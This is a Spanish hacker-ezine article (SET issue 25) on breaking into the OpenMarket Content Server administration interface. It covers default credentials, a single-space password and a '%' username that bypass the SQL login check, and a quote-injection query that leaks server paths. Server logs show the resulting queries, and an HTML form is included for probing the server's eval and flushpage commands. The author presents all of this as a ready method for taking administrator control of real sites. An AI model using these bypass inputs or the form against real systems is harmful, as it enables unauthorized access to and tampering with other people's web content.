Copy Link
Add to Bookmark
Report

SET 025 0x08

  

-[ 0x08 ]-------------------------------------------------------------------
-[ Camino al mercado ]-------------------------------------------------------
-[ by Paseante ]-----------------------------------------------------SET-25--


The future of digital systems is complexity,
and complexity is the worst enemy of security.

Bruce Schneier




-'_'- En garde -'_'-
------------------

Fue a finales del siglo XX cuando la humanidad se embarco en una velocisima
carrera para 'situarse' en el ciberespacio, las exigencias de las empresas,
las promesas de los departamentos de marketing, la enormidad de los mercados
a ganar y el hecho de que todo estaba por hacer y todo parecia posible nos
condujo inexorablemente a la situacion del "mas dificil todavia".
Donde habia un servidor web, novisima tecnologia apenas un lustro antes,
aparecio un servidor de aplicaciones y un gestor de contenidos y un software
para medir el rendimiento de ambos en tiempo real y otro para comprobar la
correcion del sacrosanto proceso de compra en los sitios web y la fiabilidad
de la plataforma de comercio electronico y mas software para que todos ellos
se comunicasen y asi hasta el infinito.
Comenzamos a escuchar nombres como RelyENT, Tonic, Vignette, OpenMarket,
Fernway...
Se podia esperar que productos basados en estandares incompletos, a veces
incluso en drafts, con continuas presiones para adelantar su lanzamiento al
mercado, con relativamente pocos clientes y con todo el equipo de desarrollo
intentando que el producto SIMPLEMENTE FUNCIONASE (al menos en un par o tres
de "configuraciones testeadas") fuesen seguros?. No.

Para gran parte, sino toda, de la comunidad de seguridad ha sido un axioma
que la "seguridad a traves de la oscuridad (security through obscurity)"
no funciona. No obstante durante un tiempo nadie busco vulnerabilidades
en estos productos por la unica razon de que 'your_average_hacker' no tenia
acceso a ellos.

Ese tiempo se acabo.



-'_'- El largo y tortuoso camino -'_'-
------------------------------------

En la epoca anterior a que el comercio electronico empezase a controlar la
red, el esquema de navegacion era generalmente muy sencillo.

________ _____________ | | | |
_________ Peticion | | | NES |
| | ==============> |WEB? OK |===> | Apache |
| | | | | IIS |
|_______| <-------------- |Resto? |<--- |____________|
/________/ Respuesta | |
|________|
Cliente Firewall Web Server/Farm



Pero un dia llego en que no reconociamos las URL, los .htm y .html habian
desaparecido y no porque el sitio web usase otras conocidas extensiones
[.shtml, .php, .asp, .nsf...], se trataba de un autentico cambio en la manera
de gestionar y entregar la informacion al cliente.
Nuestro dibujo (perdon por llamar a "esto" dibujo) habia cambiado:


Web Cluster/Farm App. Server
________ _____________ | | | |
_________ Peticion | | | | |--------|
| | ==============> |WEB? OK |===> | Iplanet WS |===>| IAS |
| | | | | Apache |<---| Tomcat |
|_______| <-------------- |Resto? |<--- |____________| | WLogic |
/________/ Respuesta | | |--------|
|________| / \ ||
Cliente Firewall | ||
| ||
| \/
..........
( )
( Oracle ) ( )
( Sybase )
( DB2 )
(..........)

RDBMS Server

Cuando la URL inicial de una pagina web tiene mas de 50 o 60 caracteres ya
puedes comenzar a sospechar que estan utilizando alguno de esos cripticos
productos que incluyen recurrentemente en su literatura promocional a
topicos como "escalable, J2EE compatible, logica de negocio, mision critica"
Como afecta a la seguridad este nuevo escenario?.
Supongamos que seguimos teniendo permitido solo el trafico web, que casos se
han dado de poder acceder directamente a la base de datos Oracle, podria
parecer que no cambia gran cosa puesto que el resto de conexiones son
"internas".
Sin embargo si antes contabamos con fallos de seguridad que afectasen al
servidor web (IIS abstenerse) ahora ademas podemos contar con fallos
especificos del servidor de aplicaciones, con fallos en el driver que usan
para comunicarse con la base de datos, con fallos en el propio acceso y
recogida de los datos.... Y con fallos en la(s) aplicacion(es) que se han
desarrollado sobre ese servidor de aplicaciones. En una palabra, pavoroso.
Y eso siendo generosos y admitiendo un cortafuegos bien configurado.




-'_'- Objetivo a la vista -'_'-
----------------------------


Hace algun tiempo yo me encontre en esa situacion, de sorpresa o curiosidad
por saber que ***** podia haber en un servidor web para generar URL tan
extra~as, con la ayuda de Google u otros buscadores suele ser factible
determinar el nombre del producto en cuestion y tras ello buscar informacion
en la web del fabricante.
El producto en cuestion habia llamado a pasarse OpenMarket (anteriormente
IPS) y como viene siendo habitual para acceder a la documentacion habia que
ser usuario registrado. Bueno, ya veremos.
Unos cuantos garbeos por su web mas tarde y con una pila de MB de .pdf en
mi disco duro solo sabia que el tal OpenMarket (OPMK) era un "gestor de
contenidos". No tenia muy claro que hacia pero parecia que con ese producto
se gestionaba completamente el contenido de la web, se definia quien podia
cambiar que cosas (al detalle de una simple imagen), a quien habia que avisar
si alguien enviaba material nuevo y un monton de virguerias mas, todo eso
con maravillosa administracion web basado en Java2EE y XML. La panacea.
Entre sus usuarios ninguna PYME solo grandes grupos multimedia, bancos,
telecos, etc.

La documentacion era larga y compleja y mis luces escasas, solo me quedo una
cosa clara.

Habia paginas para hacer login

Con eso y mi innata e inmerecida habilidad para saltarme un sorprendente
numero de paginas que piden usuario y password (algo que ha traido a este
ezine mas de un par de articulos) parecia que podiamos hacer algo.

Segun la guia de instalacion el servidor web tenia mapeado dos directorios
/futuretense_cs --> Correspondiente a Content Server
/Xcelerate --> Correspondiente a Content Centre

Tenemos al menos dos paginas de login
/futuretense_cs/AdminForms.html
/futuretense_cs/Xcelerate/LoginPage.html

Si cargamos esas paginas veremos en el fuente, si somos 'rapidos', como
no son mas que una manera "amigable" de acceder a la administracion.
Esta es la linea con "fundamento" de LoginPage.html.

<META HTTP-EQUIV="Refresh" CONTENT="0;
URL=http://www.algo.com/servlet/ContentServer?pagename=OpenMarket/Xcelerate/
Admin/LoginPage&inifile=futuretense.ini&inifile=futuretense_xcel.ini">

Como veis esta URL es enorme y a eso me referia cuando hablaba de la
proliferacion de sitios web en los que nada mas entrar te encontrabas con
URLs a primera vista incomprensibles.
Troceemos la URL y acomodemosla al diagrama anterior.
www.algo.com --> Hasta aqui llega el servidor web
/servlet/ --> Le indica que esto vaya al servidor de aplicaciones
ContentServer --> La aplicacion Content Server se hace cargo del resto
?pagename.... --> Parametros para la aplicacion anterior

Y como sabemos que OpenMarket guarda todos su contenido en una base de datos
nos podemos imaginar que desde ahi se genera lo que los gurus de SQL llaman
"una consulta". ;-)

Como en otras muchas ocasiones una buena configuracion ayuda a mantener los
intrusos fuera, descubri que era posible "capar" los accesos a las paginas
administrativas mediante ACL (listas de control de acceso), algunos sitios
las tenian y otros no.

Una vez presente en la pagina de administracion tenias por defecto acceso
de lectura a la mayor parte del site. Tecnicamente hablando a falta de
validacion OpenMarket te convertia en "DefaultReader" con la ACL de "Browser"
lo cual te mostraba mas de lo necesario pero te impedia hacer cambios.

Pero volvamos a lo nuestro, tenemos una pagina de login y necesitamos un
usuario y una password. Uso mi tecnica ultra-secreta y pruebo las que sugiere
la guia de instalacion.

User: ContentServer
Pass: FutureTense

En un sorprendente numero de casos funciona y me evita tener que buscar
ningun fallo de seguridad en el producto.
Para muchos valdria pero como en SET somos pesados decidi continuar, mi idea
era comprobar el nivel de seguridad del sistema de autenticacion en la
creencia de que esta gente no podian haber dise~ado algo lo suficientemente
seguro porque dudo que tengan experiencia en el area.
Probe las mas habituales y manidas tecnicas de "SQL injection" ya que a fin
de cuentas al final lo unico que tenemos es una consulta a una base de datos
para validar el usuario.
La tecnica de la comilla simple (') y del comentario (--) no da resultado,
el programa dobla cualquier comilla simple. Necesitamos una innovacion.

Y como soy asi de generoso y tuve exito os lo voy a poner facil mostrando
mi proceso deductivo (aporreo de teclas) y tomandome por vosotros la
molestia de recuperar el log de la maquina y emparejar cada peticion que
hice con la consulta SQL que se genero, todo ello para vuestra mayor
comodidad. De nada.


Si intentamos dejar la password en blanco salta un popup informando que la
password no puede estar vacia (comprobacion mediante Javascript).
Probamos con un usuario ContentServer del que no sabemos la clave:

<En HTML>
FutureTense
ContentServer

An error occurred during processing. Check the info log.

Unknown username/password. ContentServer
</HTML>

Y en log del servidor de aplicaciones se refleja asi la peticion.

CatalogManager Build 171 Date: Dec 20 2000 at 02:54:30
SELECT username,password,id,acl FROM SystemUsers
WHERE username = 'ContentServer' AND password = 'xxxxxxxxxxx'
SELECT username,password,id,acl FROM SystemUsers
WHERE username = 'ContentServer' AND password = 'efeebd6b33987b0a70089b80e6'

Hay una conversion de la password (de non-printable a printable) y resulto
que ahi estaba mi nudo gordiano, sucedio cuando probe una password en
blanco pero no vacia, una password consistente en un solo caracter.
Un espacio.

User: ContentServer
Pass: (1 espacio)

<En HTML>
FutureTense
ContentServer

Welcome ContentServer
Username/password validated.
</HTML>


Cuando no mucho mas tarde pude observar el log localice mi entrada con
regocijo, como vemos el "truco del espacio" convierte la peticion desde
un "SELECT talytalytal de Usuarios cuando Usuario=xx AND pass=xx" a un
"SELECT talytalytal de Usuarios cuando Usuario=xx" haciendo caer la
clausula AND y por tanto eliminando la necesidad de entregar una contrase~a
correcta. Un perrito piloto para el caballero y el "spacehack" XDD.

CatalogManager Build 171 Date: Dec 20 2000 at 02:54:30
SELECT username,password,id,acl FROM SystemUsers
WHERE username = 'ContentServer' AND password = 'b'
SELECT username,password,id,acl FROM SystemUsers
WHERE username = 'ContentServer'
SELECT aclname,cataccess,description FROM SystemACL
WHERE aclname IN ('SiteGod','Browser','ContentEditor','ElementEditor',
'PageEditor')


Es suficiente?. Para muchos lo seria pero si en SET llevamos pegando la
paliza tanto tiempo es por algo, supongamos que no se cual es el usuario.
No todos los usuarios tienen porque haber puesto el sugerido "ContentServer"
como no todos pusieron la sugerida clave "FutureTense".
Entonces tenemos una situacion en la que no necesito clave pero no puedo
entrar porque no tengo nombre de usuario con el que saltarme la validacion!!
Y un nombre de usuario de OpenMarket no se saca de cualquier lado, mas bien
solo de uno, de la base de datos donde esta la tabla SystemUsers.

Interesante y frustrante a la vez, ahora la "clave" es el nombre de usuario.
Es lo unico que protege a la interfaz de administracion de OPMK de mi
reconocida ignorancia. Veamos que puedo hacer al respecto.

Partiendo del desconocimiento absoluto de SQL cruza por mi mente la
construcion "LIKE ...." como en "SELECT talytalytal FROM nosedonde WHERE algo
LIKE 'otroalgo'". Y LIKE tiene comodines, de hecho solo me interesa uno de
los comodines, el que equivale al socorrido * en el mundo del listado de
ficheros, hablo del venerable % que hace match a cualquier cosa viviente.


Aqui como pude comprobar la generosidad de los programadores de OPMK llego
a su cumbre.

User: %
Pass: (1 espacio)

Resultado?

<En HTML>
FutureTense
ContentServer

Welcome %
Username/password validated.
</HTML>


Esto comienza a ser impresionante, ahora resulta que no solo puedo saltarme
la password sino que tambien puedo saltarme el nombre de usuario. Las dos
cosas a la vez... asi que luego van en Retevision y se llevan un susto :-)


Lo que ha pasado tambien queda reflejado en el log y no deja de ser curioso

CatalogManager Build 171 Date: Dec 20 2000 at 02:54:30
SELECT username,password,id,acl FROM SystemUsers
WHERE username LIKE '%' AND password = 'b'
SELECT username,password,id,acl FROM SystemUsers WHERE username LIKE '%'
SELECT aclname,cataccess,description FROM SystemACL
WHERE aclname IN ('SiteGod','Browser','ContentEditor','ElementEditor',
'PageEditor')

Como podeis ver, mi trabajo me costo, en el log al usar el comodin se ha
a~adido el LIKE que no aparecia en la consulta anterior. Esto es una 'feature' que aplaudo
como se merece y que deberia ser imitada universalmente.
(Para cuando un AND password LIKE '%'??)




-'_'- Tora, tora, tora -'_'-
--------------------------


Una vez que estamos dentro, no vendria mal intentar describir en texto las
opciones que nos ofrece la interfaz html. Esta dividida en dos frames, el
izquierdo con las diferentes areas y el principal donde se nos muestran los
formularios donde introducir datos, elegir opciones, pulsar botones, etc
junto con el resultado de las acciones que elegimos.
Todo bajo el sugerente titulo de:

Content Server Management Tools


En el frame izquierdo tenemos los siguientes destinos:


Login/Logout No necesita mayor explicacion
Site Un mismo OPMK puede gestionar varios sites
Element Control de los elementos que forman la web
Content Catalog Control del catalogo (Modify, Add, Mirror, Delete)
Content Gestion de contenidos en diversos catalogos
User Manejo de usuarios (Modify, Add, Delete)
ACLs Manejo de ACLs (Modify, Add, Delete)
Revision Tracking Para llevar la cuenta de versiones anteriores


En cada uno de esos destinos y dependiendo del mismo tenemos una
entrada de texto y varias acciones aplicables a la entrada que elijamos.
Entre ellas:

En Site [Modify Page, Add page, Modify Status, Modify ACLs, View Page
Modify Page Cache, Delete Pages, Export Pages, Clear Page Cache]

En Content
|
|- Enter Catalog Name:
|- Enter Catalog Key:
|- Enter Value for Key:

Select Operation:
Query for Content
Add new Content
Update Content
Replace Content
Delete Content


En Element Management [Modify, Add, Upload File, Edit File, Delete]

Como vemos se pueden subir ficheros, que no sabemos la ruta fisica?.
Nada que no podamos solucionar recurriendo al SQL y la tecnica de la
comilla simple. Que dije antes que no funcionaba?. Es verdad, pero es que
eso es lo que necesitamos. Una tecnica que no funcione. ;-)
Introducimos un query como : '; SELECT * FROM AssetMgt y el frame principal
queda en blanco, ningun resultado. Ninguno?. Veamos el source de la pagina.

</HEAD><BODY BGCOLOR="#ffffff">
<TABLE BORDER="0" BGCOLOR="#ffffff" CELLSPACING="0"
CELLPADDING="0" WIDTH="461">
<Failed to run template:/aqui/el/path/FutureTense/elements/FutureTense/Apps/
AdminForms/ElementMgt/ModifyList.xml
Loop list control undefined or empty: ResultsList [Loop ResultsList null null
null]
<br>Containing tag: TABLE--><br>

Otro problema resuelto.


En Revision Tracking

|- Enter Catalog Name:
|- Enter value for key:

Select Operation:
Lock
Commit
Release
Rollback
History
Track Catalogs
Untrack Catalogs
Set Catalog Revisions
Delete Revisions
Unlock Rows


Las posibilidades como se puede ver son enormes, de hecho son las mismas
posibilidades que tendrias si fueses el administrador.
Oh!, ahora que caigo, lo eres. ;-D

Una pagina web para comprobar la existencia de OPMK, se puede mejorar ;-)

<++>opmk/test.html
<HTML>
<HEAD>
<TITLE> Content Server Quick Test </TITLE>
</HEAD>
<BODY>
<P>Bienvenido a un mini-hack de ContentServer
<FORM action="http://soy.un.ejemplo:80/servlet/ContentServer" method="get">
<input TYPE="TEXT" NAME="pagename" SIZE="20" VALUE="" > Page Name <br>
<input TYPE="TEXT" NAME="tablename" SIZE="20" VALUE="" > Content Table <br>

<input TYPE="TEXT" NAME="resargs1" SIZE="30" VALUE=""> args 1 <br>
<input TYPE="TEXT" NAME="resargs2" SIZE="30" VALUE=""> args 2 <br>
<input TYPE="SUBMIT" name="ftcmd" value="eval"><br>
</FORM>

<FORM action="http:///soy.un.ejemplo:80/servlet/CatalogManager" method="get">
<input TYPE="TEXT" NAME="pagename" SIZE="20" VALUE="" > Page Name <br>
<input TYPE="SUBMIT" name="ftcmd" value="flushpage">
</FORM>
</BODY>
</HTML>
<-->



Y recordad, hagais lo que hagais.
Tened cuidado ahi fuera.

Paseante <paseante@attrition.org>




-'_'- Recursos -'_'-
------------------

OpenMarket: "Da place". Si andas vivo puedes coger cosas de interes.
http://www.openmarket.com

WebLogic: Un servidor de aplicaciones como cualquier otro.
http://www.weblogic.com

Iplanet: El servidor web preferido por la gente con dinero que malgastar.
http://www.iplanet.com

CounterPane: Secrets and Lies: Digital Security in a Networked World
http://www.counterpane.com/sndl.htm

SUN y JAVA: La combinacion que mas dinero hace ganar a los "consultores"
http://java.sun.com

Oracle: Si te vas a pelear con una base de datos, aprende con esta.
http://www.oracle.com

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT